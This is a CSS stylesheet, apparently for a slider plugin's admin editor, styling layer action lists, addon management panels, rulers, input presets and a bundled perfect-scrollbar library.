ul#selected_layer_actions { margin: 10px 0px 0px; padding: 0px; }
li.single_layer_action { border: 1px dashed #f82c90; line-height: 30px; display: block; position: relative; padding: 0px 10px; cursor:pointer; margin-bottom:10px; margin-right:70px; box-sizing: border-box; height: 30px; vertical-align: top;}
.sla_icon.material-icons { color: #f82c90; font-size: 17px; margin-right: 10px; margin-left:5px; line-height: 30px; vertical-align: top }
.sla_layername { line-height: 30px; color: #fff; font-size: 14px; display: inline-block;vertical-align: top;     max-width: 130px;overflow: hidden;white-space: nowrap;}
.sla_actionname { line-height: 30px; color: #f82c90; font-size: 14px;  float:right; display: inline-block; vertical-align: top;max-width: 130px;overflow: hidden;white-space: nowrap;}

.single_layer_action:hover,
.single_layer_action.selected { background:#f82c90; border:1px solid #f82c90;}

.frameActionOnOffOverview { padding-left: 15px; }
.frameActionOnOffOverview label_a { width: 151px !important; overflow: hidden; padding-right: 10px;  }

.single_layer_action.selected .sla_icon.material-icons,
.single_layer_action.selected .sla_layername,
.single_layer_action.selected .sla_actionname,
.single_layer_action:hover .sla_icon.material-icons,
.single_layer_action:hover .sla_layername,
.single_layer_action:hover .sla_actionname { color: #fff; }

i.material-icons.icon_in_dropdown { margin-right: 5px; color: #f82c90;font-size: 15px; vertical-align: top; line-height: 18px }

.single_layer_toolbar {  z-index:2; position: absolute; left: 100%;  top: -1px; line-height: 30px; width:70px;}

.single_layer_toolbar i.material-icons { vertical-align:top; color:#f82c90; height:30px; line-height:30px; width:30px; text-align:center; box-sizing:border-box;  margin-left: 5px; font-size: 17px; cursor: pointer; vertical-align: top; display: inline-block; border: 1px dashed #f82c90;display: inline-block }
.single_layer_toolbar i.material-icons:hover { border: 1px solid #f82c90; background:#f82c90; color:#fff;}

.single_layer_action:hover .single_layer_toolbar { display: block; }



/****************************************
  - RS LAYER IMPORT/EXPORT MANAGEMENT -
*****************************************/
#rbm_layerimport .rbm_content {  background: #2a2c2f; }
#rbm_layerimport_buttonwrap  { height: 30px; line-height: 30px; background: #2a2c2f; padding: 10px;position: relative }
#rbm_layerimport_list { position: relative; width: 100%; max-height: 500px; overflow: hidden;}

.layimpli_main_wrap { position: relative; display: block; width: 100%; }
.layimpli_group_wrap { position: relative; display: block; width:100%;}
.layimpli_element { background: #202224; line-height: 36px; border-bottom: 1px solid #323438; box-sizing: border-box; display: block; color: #b7bbc0; padding-left:20px; cursor: pointer}
.layimpli_element.disabled { opacity: 0.75; pointer-events: none }

.layimpli_element:hover { color: #fff; background: #3F444D }
.layimpli_level_0 { padding-left: 20px; }
.layimpli_level_1 { padding-left: 40px; }
.layimpli_level_2 { padding-left: 60px; }
.layimpli_icon { color: #006dd2; font-size: 17px; line-height: 36px; margin-right: 10px;  display: inline-block; }
.layimpli_icon_title,
.layimpli_icon_required,
.layimpli_icon_dimension { width: 200px;  font-size: 13px; font-weight: 500; display: inline-block; }

.layimpli_icon_required { color: #e8388f; }

.layimpli_icon_checbox { position: absolute; right: 10px; line-height: 36px !important; font-size:15px !important; width: 50px; text-align: center; vertical-align: top; display: inline-block;}


.layimpli_element.selected { background: #006dd2 !important; color: #fff !important; }

.layimpli_element.selected .layimpli_icon { color: #fff; }

#layers_import_from_slides_button {  }

#layers_import_feedback { position: absolute;left: 15px; line-height: 50px; font-size: 13px; color: #b7bbc0; top: 0px; }

/**********************************
  - RS ADDON MANAGEMENT -
***********************************/

#addon_overviewheader_wrap { padding:20px 55px 0px;width: 820px;position: absolute;top: 50px;left: 0px;z-index: 100;background: #000;box-sizing: border-box;background-color: #212226;}
#addon_overviewheader { border-bottom: 1px solid #333438;}

#rbm_addons { width: 1195px; }
#rbm_addonlist { width: 820px; height: 800px; background: #212226; position: relative;overflow: hidden; box-sizing: border-box; padding:100px 30px 30px; }
#rbm_addon_details {  width:375px; position: absolute; right:0px; top:50px; height:750px; overflow: hidden; box-sizing: border-box; }

.rs_ale { display: inline-block; width:190px; height:215px; position: relative; box-sizing: border-box; cursor: pointer;}

.rs_alethumb { width: 190px;height: 190px; position: absolute; top: 0px; left: 0px;box-sizing: border-box; z-index:2;}
.rs_alethumb_notinstalledimg,
.rs_alethumb_img { width: 190px; height: 190px; position: absolute; top: 0px; left: 0px; z-index: 10; background-size: 190px; background-position: top; background-repeat: no-repeat; }

.rs_alethumb_notinstalledimg { z-index: 12; background-position: bottom }

.rs_alecbg { width: 140px; height: 140px; position: absolute; top: 25px; left: 25px; background: #2b2c30; border-radius: 10px; box-sizing: border-box;} 
.rs_ale_title { font-size: 17px; color: rgba(255,255,255,0.5); font-weight: 500; width:100%; text-align: center; display: block; position: absolute; top: 183px; line-height: 30px; text-align: center; }
.rs_ale.selected .rs_ale_title { color: #fff; }

.rs_alethumb_title { font-size: 40px; line-height: 40px; color: #fff; position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); font-weight: 900 }

.rs_ale_notinstalled,
.rs_ale_enabled { background: #006dd2; line-height: 25px; padding: 0px 5px; font-size: 13px; color: #fff; font-weight: 800; position: absolute; top:15px; right:5px; z-index: 15; text-transform: uppercase; border-radius: 4px;}
.rs_ale_actionneeded { background: #ff0000; line-height: 25px; padding: 0px 5px; font-size: 13px; color: #fff; font-weight: 800; position: absolute; top:15px; right:5px; z-index: 15; text-transform: uppercase; border-radius: 4px;}

.rs_ale_notinstalled {  background: #3f444a; color: #74797d;  }

.rs_lib_premium_wrap  { position: absolute; top:5px; right:5px; z-index:300; width:auto !important; height:auto !important; font-family: "Roboto"}

#rs_premium { background:#2a2c2f;  padding:30px; margin:30px -20px 0px;display:none}
#rs_premium .rs_lib_premium_red,
#rs_premium .rs_lib_premium_red_hover,
#rs_premium .rs_lib_premium_lila { display:inline-block; margin-bottom:20px; padding:0px 8px}
.rs_premium_content{
    color: #777c80;
    font-size: 14px;
    font-weight: 400;
    line-height: 20px;
    display: block;
}

#rs_premium a { color:#777c80; opacity:1; text-decoration: underline;}
#rs_premium a:hover { color:#fff; opacity:1;}
.rs_lib_premium_lila,
.rs_lib_premium_red,
.rs_lib_premium_red_hover { display:none;background:#ff2021; line-height: 23px; padding: 0px 6px; font-size: 13px; color: #fff; font-weight: 600; position: relative; z-index: 15; text-transform: uppercase; border-radius: 4px;}
.rs_lib_premium_lila { background: #5c30af; display:block }

.sliderImage.tp_premium,
.noSliderImage.tp_premium { position:relative}
.noSliderImage.tp_premium { background:#e3e5e8; padding:15px;}
.sliderImage.tp_premium .rs_lib_premium_lila,
.noSliderImage.tp_premium .rs_lib_premium_lila,
.sliderImage.tp_premium .rs_lib_premium_red,
.noSliderImage.tp_premium .rs_lib_premium_red { 
  width:auto !important;
  height:auto !important;
  display:inline-block !important;
  vertical-align:top;
}

.tp_premium .rs_lib_premium_red { cursor: pointer;}

.noSliderImage.tp_premium .rs_lib_premium_wrap { position:relative; top:auto;right:auto; height:25px !important; vertical-align:top;}
.rs_n_ac_n .rs_lib_premium_lila { display:none}
.rs_n_ac_n .rs_lib_premium_red { display:block}
.rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red,
.olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red { display:none}
.rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red_hover,
.olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red_hover { display:block}

.rs_lib_premium_red_hover,
.rs_lib_premium_red  {  cursor: pointer; }

.rs_lib_premium_red_hover .material-icons,
.rs_lib_premium_red  .material-icons { margin-right:5px;  }

.rs_lib_premium_red:hover { filter:brightness(110%);}

.rbm_addon_details_inner { padding:30px 42px 30px;position: relative }

#decmod_maintxt,
.decmod_maintxt,
.ale_i_title { color: #fff; font-size: 15px; font-weight: 600; line-height: 35px;  }

#decmod_maintxt { line-height: 22px; margin-bottom: 10px; }

.ale_i_environment,
#decmod_subtxt,
.decmod_subtxt,
.ale_i_content { color: #777c80; line-height: 20px; font-weight: 400; font-size: 14px; }


#decmod_subtxt,
.decmod_subtxt { color:#b7bbc0 ; }


#decmod_subtxt strong { color: #fff; font-weight: 500 }

.ale_i_environment { margin-top: 15px; text-decoration: underline }

.ale_i_line { width: 100%; height: 1px; background: #3f444a;  }

.rbm_addon_details_inner row onehalf { padding-right: 10px; }

.ale_i_content i.material-icons { font-size: 14px;margin-right: 5px; }

.ale_yellow,
.ale_yellow i { color: #e67600; }

.ale_i_errorbutton { color: #fff; background: #e67600;  white-space: nowrap; cursor: default; pointer-events: none; }
.ale_i_errorbutton i { color: #fff; }

.ale_i_updateaddon.basic_action_coloredbutton { background: #5d36ad; }
.ale_i_allupdateaddon.basic_action_coloredbutton { background: #5d36ad; }

#check_addon_updates_wrap { position: absolute;left: 820px;top: 10px; }
#check_addon_updates,
#process_all_addon_updates { position: relative;display:inline-block;margin-right:10px }

.addonlist_to_update { display: block; font-size: 14px; line-height: 30px; position: relative; }
.addonlist_to_update_single_status { position: absolute; right: 4px; font-size: 16px; top:7px;}

.addonlist_to_update_single_status.circle-loader {  
  border: 1px solid rgba(255, 255, 255, 0.40);
   
  display: inline-block;
  vertical-align: top;
  border-radius: 50%;
  width: 15px;
  height: 15px;
}

.addonlist_to_update_single_status.circle-loader.inload {animation: loader-spin 1.2s infinite linear; border-left-color: #fff; }

.addonlist_to_update_single_status.load-complete {
  -webkit-animation: none;
  animation: none;
  border-color: rgba(255, 255, 255, 0.40);
  transition: border 500ms ease-out;
}

.addonlist_to_update_single_status .checkmark {display: none;}
.addonlist_to_update_single_status.load-complete .checkmark { display: block; }
.addonlist_to_update_single_status .checkmark.draw:after {
    animation-duration: 800ms;
    animation-timing-function: ease;
    animation-name: checkmark;
    transform: scaleX(-1) rotate(135deg);
  }
  
.addonlist_to_update_single_status .checkmark:after {
    opacity: 1;
    height: 8px;
    width: 3px;
    transform-origin: left top;
    border-right: 1px solid #fff;
    border-top: 1px solid #fff;
    content: '';
    left: 3px;
    top: 8px;
    position: absolute;
  }

.addonlist_to_update_single_status.failure .checkmark:after {
  content: "x";
  border: none;
  color: #ff0000;
  font-weight: 300;
  transform: scaleX(1.4) scaleY(1) rotate(0deg);
  top: -9px;
  left: 2px;
}

@keyframes loader-spin {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}

@keyframes checkmark {
  0% {
    height: 0;
    width: 0;
    opacity: 1;
  }
  20% {
    height: 0;
    width: 3px;
    opacity: 1;
  }
  40% {
    height: 8px;
    width: 3px;
    opacity: 1;
  }
  100% {
    height: 8px;
    width: 3px;
    opacity: 1;
  }
}


/**********************************
  - REAL INPUT FIELD DEFAULTS -
***********************************/
.customsizes_chkbox   { display: none }



/**********************************
  - PREDROPS FIELD DEFAULTS -
***********************************/
.predrop_wrap { position: relative }
.predrop { width: 150px; position: absolute; top: 100%; background: #2b2c30; }
.predrop_ul { padding: 0px;margin: 0px; }
.predrop_li { line-height: 34px; display: block;height: 34px; padding: 0px 15px; margin: 0px; }
.predrop_unitselector { padding: 0px; }
.predrop_li .radiooption { float:left; width:50%; background: #35363a; display: block;  color: #b7bbc0; margin: 0px; text-align: center;box-sizing: border-box;  line-height: 34px}
.predrop_li .radiooption:first-child { border-right: 1px solid #2b2c30; }
.predrop_li .radiooption.selected { color: #fff; }

/***************************
  -   SLIDE THUMBNAILS  -
****************************/
.miniprevimage_wrap { width: 70px;height: 70px; position: relative; display: inline-block; box-sizing: border-box; background:#3a3e44; line-height: 70px; text-align: center; }
#rb_tlw .miniprevimage_wrap i.material-icons { color: #777c80; font-size: 45px }
.resettodefault.onlyicon { position: absolute; top: 0px;right: 0px; width: 20px;height: 20px; background:#2a2c2f; border-radius: 0px 0px 0px 5px !important }
#rb_tlw .miniprevimage_wrap .resettodefault.onlyicon i.material-icons { font-size: 15px; line-height: 20px !important; width: 20px;    }
#rb_tlw .miniprevimage_wrap .resettodefault.onlyicon:hover  i.material-icons { color: #fff !important; background: #006dd2; border-radius: 0px 0px 0px 5px !important}

#rb_tlw .miniprevimage_wrap.withimage i.material-icons { display: none; }
#navigation_purpose_thumbnail,
#layer_bg_image,
#slider_bg_image,
#layer_image_src,
#admin_purpose_thumbnail,
#admin_purpose_thumbnail_slider { width: 70px;height: 70px;display: block; box-sizing: border-box; position: absolute; top:0px; left:0px;}

#layer_image_src { background-size: contain; background-repeat: no-repeat; background-position: center center; }

/*************************
  - RULER STYLES -
*************************/
#ruler_top { width: 100%;height: 15px; background: #202224;position: absolute;left: 0px;top: -15px; overflow: hidden;z-index: 30; }
#ruler_top_offset { position: absolute;top: 0px;left: -1200px; height:15px; width: 3600px; }
#ruler_top .rm_five,
#ruler_top .rm_ten,
#ruler_top .rm_hundred { width: 1px;height: 4px; border-left: 1px solid #414243;; position: absolute;bottom:0px; color: rgba(183,187,192,0.5); font-size: 10px;  font-weight: 600;  } 
#ruler_top .rm_ten  { height: 4px;}
#ruler_top .rm_hundred { height: 15px;  line-height: 14px; vertical-align: bottom; width: 15px; padding-left: 2px; }
#ruler_hor_marker   { width:1px;height:15px;background:#f82c90;  position: absolute; top:-15px;left:100px;z-index:946;}


#ruler_left           { height: 100%;width: 15px; background: #202224;position: absolute;top: 0px;left: -15px; overflow: hidden; z-index:50;}
#ruler_left_top_cover { width:15px;height:15px;top:-15px;left:-15px;background:#202224;position: absolute ;z-index:65;}
#ruler_left_offset    { position: absolute;left: 0px;top: -1200px; width:15px; height: 3600px; text-align: right;}
#ruler_left .rm_five,
#ruler_left .rm_ten,
#ruler_left .rm_hundred { height: 1px;width: 4px; border-top: 1px solid #414243; position: absolute;right:0px; color: rgba(183,187,192,0.5); font-size: 10px;  font-weight: 600; } 
#ruler_left .rm_ten     { width: 4px;}
#ruler_left .rm_hundred { width: 15px;  line-height: 12px; vertical-align: top; padding-right: 6px; box-sizing: border-box;}
#ruler_ver_marker       { height:1px;width:15px;background:#f82c90;  position: absolute; left:-15px;top:100px;z-index:946;}

/*************************
 - GRID CANVAS -
 *************************/
 canvas#gridcanvas { pointer-events: none; width: 100%;height: 100%; z-index: 1000;position: absolute;top: 0px;left: 0px;  }

/********************************
  - DOTTED OVERLAYS -
*********************************/
._lc_video_overlay,
#slider_overlay                     { background-repeat:repeat;width:100%;height:100%;position:absolute;top:0px;left:0px;z-index:300; pointer-events: none;}



/***********************************
  -   NAVIGATION OVERWRITES  -
***********************************/
#rev_builder .tp-bullets,
#rev_builder .tp-bullets *{ box-sizing: content-box; }


/***********************************
  -   SLIDER UL SHADOWS  -
***********************************/
#shadow_faker   { width:100%;height:100%;top:0px;left:0px;background: transparent;z-index: -1;position: absolute;margin:auto;left:50%;transform:translateX(-50%); }


/***********************************
  - PERFECT SCROLLBAR -
************************************/
/* perfect-scrollbar v0.7.1 */
/*
.ps{-ms-touch-action:auto;touch-action:auto;overflow:hidden !important;-ms-overflow-style:none}@supports (-ms-overflow-style: none){.ps{overflow:auto !important}}@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none){.ps{overflow:auto !important}}.ps.ps--active-x>.rs__scrollbar-x-rail,.ps.ps--active-y>.rs__scrollbar-y-rail{display:block;background-color:transparent}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps>.rs__scrollbar-x-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;bottom:0px;height:15px}.ps>.rs__scrollbar-x-rail>.rs__scrollbar-x{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;bottom:2px;height:6px}.ps>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x,.ps>.rs__scrollbar-x-rail:active>.rs__scrollbar-x{height:11px}.ps>.rs__scrollbar-y-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;right:0;width:15px}.ps>.rs__scrollbar-y-rail>.rs__scrollbar-y{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;right:2px;width:6px}.ps>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y,.ps>.rs__scrollbar-y-rail:active>.rs__scrollbar-y{width:11px}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps:hover>.rs__scrollbar-x-rail,.ps:hover>.rs__scrollbar-y-rail{opacity:.6}.ps:hover>.rs__scrollbar-x-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x{background-color:#999}.ps:hover>.rs__scrollbar-y-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y{background-color:#999}
*/

/* perfect-scrollbar v0.8.1 */
/*.ps{-ms-touch-action:auto;touch-action:auto;overflow:hidden !important;-ms-overflow-style:none}@supports (-ms-overflow-style: none){.ps{overflow:auto !important}}@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none){.ps{overflow:auto !important}}.ps.ps--active-x>.rs__scrollbar-x-rail,.ps.ps--active-y>.rs__scrollbar-y-rail{display:block;background-color:transparent}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps>.rs__scrollbar-x-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;bottom:0px;height:15px}.ps>.rs__scrollbar-x-rail>.rs__scrollbar-x{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;bottom:2px;height:6px}.ps>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x,.ps>.rs__scrollbar-x-rail:active>.rs__scrollbar-x{height:11px}.ps>.rs__scrollbar-y-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;right:0;width:15px}.ps>.rs__scrollbar-y-rail>.rs__scrollbar-y{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;right:2px;width:6px}.ps>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y,.ps>.rs__scrollbar-y-rail:active>.rs__scrollbar-y{width:11px}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps:hover>.rs__scrollbar-x-rail,.ps:hover>.rs__scrollbar-y-rail{opacity:.6}.ps:hover>.rs__scrollbar-x-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x{background-color:#999}.ps:hover>.rs__scrollbar-y-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y{background-color:#999}
*/

/*!
 * perfect-scrollbar v1.4.0  b7bbc0
 * (c) 2018 Hyunje Jun
 * @license MIT
 */
.rs__scrollbar-x-rail,.rs__scrollbar-y-rail{display:none;opacity:0;position:absolute}.ps{overflow:hidden!important;overflow-anchor:none;-ms-overflow-style:none;touch-action:auto;-ms-touch-action:auto}.rs__scrollbar-x-rail{transition:background-color .2s linear,opacity .2s linear;-webkit-transition:background-color .2s linear,opacity .2s linear;height:15px;bottom:0}.rs__scrollbar-y-rail{transition:background-color .2s linear,opacity .2s linear;-webkit-transition:background-color .2s linear,opacity .2s linear;width:15px;right:0}.ps--active-x>.rs__scrollbar-x-rail,.ps--active-y>.rs__scrollbar-y-rail{display:block;background-color:transparent}.ps--focus>.rs__scrollbar-x-rail,.ps--focus>.rs__scrollbar-y-rail,.ps--scrolling-x>.rs__scrollbar-x-rail,.ps--scrolling-y>.rs__scrollbar-y-rail,.ps:hover>.rs__scrollbar-x-rail,.ps:hover>.rs__scrollbar-y-rail{opacity:.6}.ps .rs__scrollbar-x-rail.ps--clicking,.ps .rs__scrollbar-x-rail:focus,.ps .rs__scrollbar-x-rail:hover,.ps .rs__scrollbar-y-rail.ps--clicking,.ps .rs__scrollbar-y-rail:focus,.ps .rs__scrollbar-y-rail:hover{background-color:#eee;opacity:.9}.rs__scrollbar-x,.rs__scrollbar-y{background-color:#aaa;border-radius:6px;position:absolute}.rs__scrollbar-x{transition:background-color .2s linear,height .2s ease-in-out;-webkit-transition:background-color .2s linear,height .2s ease-in-out;height:6px;bottom:2px}.rs__scrollbar-y{transition:background-color .2s linear,width .2s ease-in-out;-webkit-transition:background-color .2s linear,width .2s ease-in-out;width:6px;right:2px}.rs__scrollbar-x-rail.ps--clicking .rs__scrollbar-x,.rs__scrollbar-x-rail:focus>.rs__scrollbar-x,.rs__scrollbar-x-rail:hover>.rs__scrollbar-x{background-color:#999;height:11px}.rs__scrollbar-y-rail.ps--clicking .rs__scrollbar-y,.rs__scrollbar-y-rail:focus>.rs__scrollbar-y,.rs__scrollbar-y-rail:hover>.rs__scrollbar-y{background-color:#999;width:11px}@supports (-ms-overflow-style:none){.ps{overflow:auto!important}}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.ps{overflow:auto!important}}

#rev_builder .rs__scrollbar-x-rail { z-index:10; height:0px; background: transparent !important;opacity: 0.2;}
#rev_builder .ps--active-x .rs__scrollbar-x-rail { display: block; }
#rev_builder .rs__scrollbar-x { background: rgb(32, 34, 36); opacity:0.3; height: 9px; border-radius: 7px;  cursor: pointer;bottom: 8px; }
#rev_builder .rs__scrollbar-x:hover { opacity: 1; }


#rev_builder .rs__scrollbar-y-rail { z-index:10; height:0px; background: transparent !important; opacity: 0.2}
#rev_builder .ps--active-y .rs__scrollbar-x-rail { display: block; }
#rev_builder .rs__scrollbar-y { background: rgb(32, 34, 36); opacity:0.3; width: 9px; border-radius: 7px; right: 4px; cursor: pointer; }
#rev_builder .rs__scrollbar-y:hover { opacity: 1; }

#rev_builder:hover .rs__scrollbar-x-rail,
#rev_builder:hover .rs__scrollbar-y-rail { opacity: 1; }


#the_right_toolbar .rs__scrollbar-y-rail {   z-index: 1500; width: 15px; background: transparent !important; display: none !important; }
#the_right_toolbar .ps--active-y .rs__scrollbar-x-rail { display: block; }
#the_right_toolbar .rs__scrollbar-y {background: #b7bbc0; opacity:0.3; width: 9px; border-radius: 7px; right:7px; cursor: pointer;}
#the_right_toolbar .rs__scrollbar-y:hover { opacity: 1; }

#tlLayerListWrap .rs__scrollbar-x-rail { z-index: 1600;height:30px;opacity: 1 !important;background: linear-gradient(to bottom, rgba(32,34,36,0) 0%,rgba(32,34,36,1) 75%) !important;}
#tlLayerListWrap .ps--active-x .rs__scrollbar-x-rail { display: block; }

#tlLayerListWrap .rs__scrollbar-x {background: #b7bbc0; opacity:0.5; height: 8px; border-radius: 7px; bottom: 6px; cursor: pointer;display: block !important;  }
#tlLayerListWrap .rs__scrollbar-x:hover { opacity: 1; }


#rbm_layerimport_list .rs__scrollbar-y-rail,
#tlLayerListWrap .rs__scrollbar-y-rail {   z-index: 1600; width: 20px; background: #202224 !important;  }
#tlLayerListWrap .ps--active-y .rs__scrollbar-x-rail { display: block; }
#tlLayerListWrap .rs__scrollbar-y { background: #b7bbc0; opacity:0.5; width: 8px; border-radius: 7px; right:6px; cursor: pointer;}
#tlLayerListWrap .rs__scrollbar-y:hover { opacity: 1; }


#timeline .ui-resizable-handle.ui-resizable-s { background: #2a3441 !important; height: 10px; bottom: 0px; }







/*************************************************************
  -  PRESET WRAP AND PRESET CONTAINER FOR INPUT FIELDS  -
*************************************************************/
.input_presets_wrap { display: inline-block;position: relative; }
.input_presets_wrap.infocus { z-index: 200 }
.input_presets      { position: absolute; min-width: 100%; top:100%; margin-top:-10px; left:0px; background:#2a2c2f; display:none;box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5)}
.input_preset       { font-size: 13px; color: #b7bbc0; padding:6px 13px;  top:100%;width:auto; line-height:18px; cursor: pointer; white-space: nowrap;}
.input_preset:hover { background: #3f444a; color: #fff; }

oneshort .input_presets { right: 0px !important; left:auto !important; }

.ipwborder { border-bottom: 1px solid #323438; }

.input_presets_wrap.infocus .input_presets { display: block; margin-bottom:65px;}

.input_preset i.material-icons { font-size: 17px; margin-right: 10px !important;  }

.input_presets_dropdown {
    position: absolute;
    right: 0px;
    line-height: 30px !important;
    vertical-align: top;
    top: 0px;
    color: #777c80;
    font-size: 14px !important;
    border-left: 1px solid #323438;
    width: 15px !important;
    height: 30px !important;
    text-align: center;
    background: #2a2c2f;
    border-radius: 0px 4px 4px 0px;
    cursor: pointer;
  }

#active_transitions_settings .input_presets_dropdown { width: 30px !important; }

#responsive_infos_toolbar { min-width: 100px;  border-radius: 4px;  height: auto; line-height: 30px; color: #b7bbc0; background: #2a2c2f; font-size: 13px; padding:10px; box-sizing: border-box; position: absolute; z-index: 1000000; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5)}
#responsive_infos_toolbar .material-icons { font-size: 17px; line-height: 30px !important; width: 20px; text-align: center; vertical-align: top; margin-right: 5px; }
#responsive_infos_toolbar .responsive_info_value { color: #b7bbc0; margin-right: 15px; display: inline-block; line-height: 30px; vertical-align: top; }
#responsive_infos_toolbar .int_inher_title { color: #777c80; }
/******************************
  -  WAIT A MINUTE  -
******************************/

#waitaminute      { box-sizing:border-box; -moz-box-sizing:border-box; display:none;position:fixed; top:0px; left:0px; z-index:10000000; background:#000; background:rgba(32,34,36,0.7); width:100%;height:100%;}
